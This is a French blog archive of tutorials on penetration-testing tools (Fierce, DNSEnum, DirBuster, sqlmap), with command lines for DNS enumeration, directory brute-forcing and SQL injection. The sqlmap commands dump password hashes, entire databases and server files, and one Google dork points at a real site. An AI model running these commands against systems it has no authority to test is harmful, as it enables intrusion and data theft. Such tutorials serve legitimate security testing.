Category Archives: Various

Scan de domaines par Fierce

Fierce est un outil de reconnaissance et de récupération d’informations sur une cible. Cet outil, développé en PERL, scan les différentes informations récupérables sur un nom de domaine, et ceci par le biais de différentes techniques.
L’approche de Fierce est de d’abord récupérer les serveurs de domaine du domaine cible par le biais du serveur de DNS local (celui configuré sur votre poste local). Une fois ces serveurs de DNS récupérés, Fierce les utilises afin de commencer à récupérer les informations relatives au domaine cible. Un transfert de zone sera alors tenté sur chaque serveur de DNS du domaine cible, qui risque d’échouer dans la plupart des cas. Si ce transfert de zone échoue, une attaque du type “brute force” sur les serveurs de DNS du domaine cible sera effectué pour deviner les entrées enregistrées. Cette attaque du type “brute force” est basé sur un dictionnaire de base fournis avec le logiciel. Ce dictionnaire peut bien sûr être alimenté manuellement afin d’y rajouter ses propres entrées. A la différence de DNSEnum les résultats récoltés ne sont pas repris à la demande dans le dictionnaire.

Avant de lancer l’attaque brute force, Fierce va vérifier que le domaine ne possède pas de DNS wildcard. Si un DNS wildcard est trouvé, le nombre de faux positifs sera important, car chaque entrée du dictionnaire sera alors résolue.

Les résultats retournés par l’attaque brute force contiendront le, ou les, FQDN (Full Qualifie Domain Name) trouvés, ainsi que les adresses IP associées.

A partir de ces adresses IP les réseaux associés seront devinés afin de pouvoir, de par la suite, éventuellement effectuer une approche par le biais de nmap.

  • Invoquer l’aide de Fierce

perl fierce.pl -h

  • Lancement de base de Fierce

perl fierce.pl -dns domain.xxx

Attention, dans le cas présent, aucune attaque du type bruteforce ne sera effectuée. Uniquement la récupération des serveurs de noms de domaine et la tentative de transfert de zone seront effectués.
  • Enregistrer les résultats dans un fichier
perl fierce.pl -dns domain.xxx -file results.txt
  • Enregistrer les résultats dans un fichier et ne pas afficher les résultats à l’écran
perl fierce.pl -dns domain.xxx -file results.txt -suppress
  • Spécifier un serveur de DNS particulier pour les lookups DNS
perl fierce.pl -dns domain.xxx -dnsserver xxx.xxx.xxx.xxx
  • Spécifier une liste de serveurs de DNS particuliers pour les lookups DNS
perl fierce.pl -dns domain.xxx -dnsfile dnsservers.txt
Le fichier dnsservers.txt contiendra une liste (un serveur de DNS par ligne) des serveurs de DNS sur lesquels seront effectués les lookups DNS.
  • Utiliser le dictionnaire pour l’attaque brute force DNS
perl fierce.pl -dns domain.xxx -wordlist dns.txt
  • Stopper le scan de Fierce dans le cas ou le transfert de zone ai réussi
perl fierce.pl -dns domain.xxx -wordlist dns.txt -stop

perl fierce.pl -dns domain.xxx

Attention, dans le cas présent, aucune attaque du type bruteforce ne sera effectuée. Uniquement la récupération des serveurs de noms de domaine et la tentative de transfert de zone seront effectués

  • Enregistrer les résultats dans un fichier

perl fierce.pl -dns domain.xxx -file results.txt

  • Enregistrer les résultats dans un fichier et ne pas afficher les résultats à l’écran

perl fierce.pl -dns domain.xxx -file results.txt -suppress

  • Spécifier un serveur de DNS particulier pour les lookups DNS

perl fierce.pl -dns domain.xxx -dnsserver xxx.xxx.xxx.xxx

  • Spécifier une liste de serveurs de DNS particuliers pour les lookups DNS

perl fierce.pl -dns domain.xxx -dnsfile dnsservers.txt

Le fichier dnsservers.txt contiendra une liste (un serveur de DNS par ligne) des serveurs de DNS sur lesquels seront effectués les lookups DNS. • Utiliser le dictionnaire pour l’attaque brute force DNS

perl fierce.pl -dns domain.xxx -wordlist dns.txt

  • Stopper le scan de Fierce dans le cas ou le transfert de zone ai réussi

perl fierce.pl -dns domain.xxx -wordlist dns.txt -stop

DNSEnum énumère les informations relatives aux noms de domaine

DNSEnum est un outil développé en PERL permettant l’énumération et la récupération d’informations relatives aux noms de domaine.

L’utilisation de DNSEnum nécessitera l’installation de module PERL supplémentaire :

– perl-Net-Netmask
– perl-Net-Whois-IP
– perl-WWW-Mechanize

  • Utilisation de base

./dnsenum.pl domain.xxx

L’exécution de base permettra de récupérer l’adresse IP de host, les serveurs de noms de domaine, et les entrées MX associés au TLD.

De plus une tentative de transfert de zone “AXFR” sera effectuée sur chaque serveurs de DNS récupérés.

Par défaut, la récupération de ces informations s’effectuera sur le serveur de nom de domaine spécifié dans la configuration de votre machine.

  • Enregistrer les sous-domaines découverts dans un fichier dédié

Par le biais de l’option “–subfile” il est possible d’enregistrer les sous-domaines découverts dans un fichier dédié, afin de pouvoir les analyser de part la suite.

./dnsenum.pl domain.xxx –subfile results.txt

  • Spécifier un autre serveur de DNS pour la récupération des informations

Il arrive parfois que le serveur de DNS sur lequel vous allez effectuer vos résolutions ait un cache pouvant fausser les résultats (TTL). Nous vous conseillons donc de lancer la première fois DNSEnum avec comme “resolver” votre serveur de DNS local, et ensuite de récupérer le, ou les, serveurs de DNS spécifiques au nom de domaine cible, et de refaire les mêmes tests pour chaque serveurs de DNS trouvés.

Il arrive aussi parfois que les serveurs de DNS hébergeant le nom de domaine aient des entrées différentes, et qui peuvent apporter des informations supplémentaires intéressantes.

Afin de pouvoir spécifier un serveur de résolution spécifique lors de l’exécution de DNSEnum, il suffit d’utiliser l’option “–dnsserver“.

./dnsenum.pl –dnsserver xxx.xxx.xxx.xxx domain.xxx

  • Attaque de base brute force DNS par le biais de DNSEnum

L’option “-f” vous permettra de spécifier le dictionnaire de sous domaines que vous désirez utiliser pour effectuer l’attaque brute force DNS.

Le fichier “dns.txt” fournit de base avec DNSEnum contient environ 95 sous domaines.

./dnsenum.pl -f dns.txt domain.xxx

Les résultats supplémentaires qui seront fournis sont :

  1. Toutes les résolutions des noms de domaine qui ont été détectés par le biais de la méthode du type brute force
  2. Les classes C des différents noms de domaine qui ont été détectés
  3. Les “reverses lookup” de toutes les adresses IP de toutes les classes C découvertes.
  4. Les blocks IP des différentes classes C découvertes.
  • Affiner le brute forcing et les résultats obtenus avec l’option WHOIS

DNSEnum propose par le biais de son option “-w“, d’effectuer un WHOIS sur les différentes classes C découvertes, afin de valider et de fournir les véritables “net ranges” se cachant derrière et ainsi d’affiner les découvertes “reverses lookup” et l’identification des différents blocks IP.

./dnsenum.pl -f dns.txt domain.xxx -w

  • Découverte de sous domaines par le biais Google

DNSEnum donne aussi la possibilité de recherche automatiquement dans Google la présence d’autres sous domaines.

L’option “–enum” lancera 5 threads DNSEnum qui effectueront les WHOIS et les parsing des résultats retournés par Google.
Le nombre de résultats maximum qui seront extraits du parsing Google sera de 20 sur un total de 20 pages de recherches parcourues.

./dnsenum.pl -f dns.txt domain.xxx –enum

Vous pouvez bien sûr customiser votre recherche Google par le biais des options suivantes :

-p : Nombre de pages qui seront parcourues (par défaut 20), l’option -s est obligatoire.
-s : Nombre maximum de résultats qui seront extraits.

./dnsenum.pl -f dns.txt domain.xxx -s 200

  • Alimenter son dictionnaire brut force DNS avec les résultats obtenus

DNSEnum donne la possibilité d’alimenter son dictionnaire avec les résultats obtenus lors d’une exécution de base, d’une attaque du type brute force, et par le biais de résultats retournés par le “scraping” Google.

Afin de pouvoir mettre à jour son dictionnaire, il suffit d’ajouter l’option “-u” et de lui spécifier des arguments.

a – Mise à jour du dictionnaire par le biais de tous les résultats
g – Mise à jour du dictionnaire uniquement par le biais des résultats du Google scraping
r – Mise à jour du dictionnaire uniquement par le biais des résultats des “reverses lookup”
z – Mise à jour du dictionnaire uniquement par le biais des résultats du transfert de zone

./dnsenum.pl -f dns.txt –subfile results.txt -s 200 -w -u a domain.xxx

Dirbuster ou la découverte de répertoire et de fichiers web

DirBuster est un projet OWASP open source développé en Java ayant comme objectif de découvrir des répertoires ou fichiers en se basant sur la méthode brute force et les réponses retournées par le serveur web.

DirBuster est fournis avec des listes de répertoires, fichiers et utilisateurs. Il est possible de modifier ces listes, d’y rajouter ces propres répertoires, fichiers ou utilisateurs découverts au fur et à mesure des pen-tests. DirBuster supporte les protocoles HTTP et HTTPS.

Le chargement de sa propre liste est possible par le biais de l’option “-l“.

java -jar DirBuster-0.12.jar -H -u http://localhost -l maliste.txt

L’option “-H” permet de lancer DirBuster en mode console et de ne pas activer la GUI.
L’option “-u” permet de spécifier l’URL cible.

L’option “-e” va vous permettre de cibler un certain type d’extensions de fichiers, par asp, aspx, pl, etc. Par défaut, l’extension de base est php.

L’option “-s” va vous permettre de préciser un répertoire de départ cible.

java -jar DirBuster-0.12.jar -H -u http://localhost -s /warez/

L’option “-r” vous permettra de préciser l’endroit où doit être sauvegarder le rapport généré par DirBuster.

Sqlmap outil d’injection SQL automatique

SQLMap 0.6.4 est un outil open source d’injections automatiques de requêtes SQL. Cet outil détecte et exploite les vulnérabilités du type injection SQL sur les applications web. Si une, ou plusieurs, vulnérabilités du type injection SQL sont détectées sur le serveur cible, l’utilisateur pourra sélectionner différentes options dont deviner le type et la version de la base de donnée cible, récupérer la session de l’utilisateur en cours, énumérer les utilisateurs, les hash des mots de passe, les privilèges des utilisateurs, les bases de données hébergées, ou récupérer la base de donnée complète, etc.

SQLMap supporte MySQL, Oracle, PostgreSQL, Microsoft SQL, mais peut aussi identifier les bases de données du type Microsoft Access, DB2, Informix, Sybase et Interbase.

Cette analyse ne porte que sur la version 0.6.4. Une nouvelle version 0.7 est actuellement en cours de développement et celle-ci sera étudiée dès qu’elle sortira en version stable.

  • Choisir son type de cible

SQLMap propose de cibler une URL précise par le biais de l’option “-u” (-u URL).

python sqlmap.py -u http://localhost/index.php?id=1

Il est aussi possible de cibler des URL par le biais des logs générés par les proxy d’interception WebScarab ou Burp.

python sqlmap.py -l LIST

Il est possible d’utiliser SQLMap en chargeant un fichier de configuration spécifique, par défaut celui-ci se nomme “sqlmap.conf“.

python sqlmap.py -c CONFIGFILE

Mais une des options la plus intéressante est le “GOOGLEDORK” permettant la recherche de URL cible par le biais de Google.

python sqlmap.py -g "site:zataz.com ext:php"

  • Effectuer un fingerprint du type de base de donnée

python sqlmap.py -u http://localhost/index.php?id=1 -f

  • Récupérer la bannière de la base de donnée

python sqlmap.py -u http://localhost/index.php?id=1 -b

  • Retrouver l’utilisateur SQL qui exécute le script vulnérable

python sqlmap.py -u http://localhost/index.php?id=1 --current-user

  • Retrouver la base de donnée en cours d’utilisation

python sqlmap.py -u http://localhost/index.php?id=1 --current-db

  • Détecter si l’utilisateur SQL qui exécute le script est un utilisateur administrateur

python sqlmap.py -u http://localhost/index.php?id=1 --is-dba

Ci dessous les résultats avec l’utilisateur MySQL “sqlinjection” qui n’a que les droits SELECT sur la base de donnée “sqlinjection“.

Ci dessous les résultats avec l’utilisateur MySQL “root” qui a tous les droits sur toutes les bases de données.

  • Retrouver la liste complète des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --users

Ne fonctionne que si l’utilisateur SQL a les droits de création d’autres utilisateurs SQL, par exemple l’utilisateur root MySQL.

  • Retrouver les hash des mots de passe des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --passwords

Si l’option “-U” est spécifiée, il est possible de cibler un utilisateur SQL en particulier. Bien sûr cette fonctionnalité n’est possible que si l’utilisateur SQL a les droits de gestion des utilisateurs.

  • Retrouver les droits des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --privileges

Si l’option “-U” est spécifiée, il est possible de cibler un utilisateur SQL en particulier.

  • Retrouver la liste des bases de données visibles par l’utilisateur MySQL

python sqlmap.py -u http://localhost/index.php?id=1 --dbs

Ci-dessous les bases de données retrouvées par le biais de l’utilisateur MySQL “sqlinjection

Ci-dessous les bases de données lorsque l’utilisateur SQL visé est un utilisateur administratif.

  • Retrouver la liste des tables des bases de données visibles par l’utilisateur MySQL

python sqlmap.py -u http://localhost/index.php?id=1 --tables

Ci-dessous les tables des bases de données retrouvées par le biais de l’utilisateur MySQL “sqlinjection

Il est possible de cibler une base de donnée spécifique avec l’option “-D“.

python sqlmap.py -u http://localhost/index.php?id=1 --tables -D sqlinjection

Il est aussi possible d’exclure les bases de données systèmes et administratives par le biais de l’option “–exclude-sysdbs

python sqlmap.py -u http://localhost/index.php?id=1 --tables --exclude-sysdbs

  • Retrouver la structure d’une table d’une base de données

python sqlmap.py -u http://localhost/test1.php?id=1 --columns -D sqlinjection -T sqlinjection

L’option “-D” permet de spécifier la base de donnée concernée, et l’option “-T” permet de spécifier la table concernée.

  • Récupérer le contenu des bases de données

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection

Toutes les données récupérées sont sauvegarder dans un fichier excel, que l’on peut analyser de part la suite localement.

Il est possible de filtrer le champ spécifique que l’on désire récupérer par le biais de l’option “-C“.

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection -C secret

Il est aussi possible de récupérer qu’un certain nombre de résultats lors du DUMP de la base de la table par le biais des options “–start” et “–stop

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection -C secret --start 1 --stop 1

  • Récupérer le contenu entier des bases de données

python sqlmap.py -u http://localhost/test1.php?id=1 --dump-all

  • Exécuter des requêtes SQL spécifiques

L’option “–sql-query” va vous permettre d’exécuter des requêtes SQL spécifiques, comme le montre l’exemple ci-dessous :

python sqlmap.py -u http://localhost/test1.php?id=1 --sql-query="SELECT secret from sqlinjection" -D sqlinjection

Deux questions vous seront posées lors de l’exécution de la requête SQL. La première vous demandera si le résultat pourra retourner plusieurs entrées ou non, la deuxième question vous demandera si vous désirez retournez tous les résultats ou une sélection de votre choix.

  • Lire un fichier aléatoire sur le système par le biais de MySQL.

L’option “–read-file” permet à sqlmap, uniquement pour MySQL en version 0.6.4 de sqlmap, de charger un fichier aléatoire présent sur le système de fichier du serveur cible. Cette récupération n’est possible que si l’utilisateur MySQL en cours a le privilège “FILE“. Il faut que le fichier cible ai les droits de lecture pour tous, ou que l’utilisateur système MySQL y ai accès.

Dans l’exemple ci-dessous, nous avons créé un fichier test.txt contenant la séquence “passwd = toto” et situé à la racine du serveur web.

python sqlmap.py -u http://localhost/test1.php?id=1 --read-file=/Library/WebServer/Documents/test.txt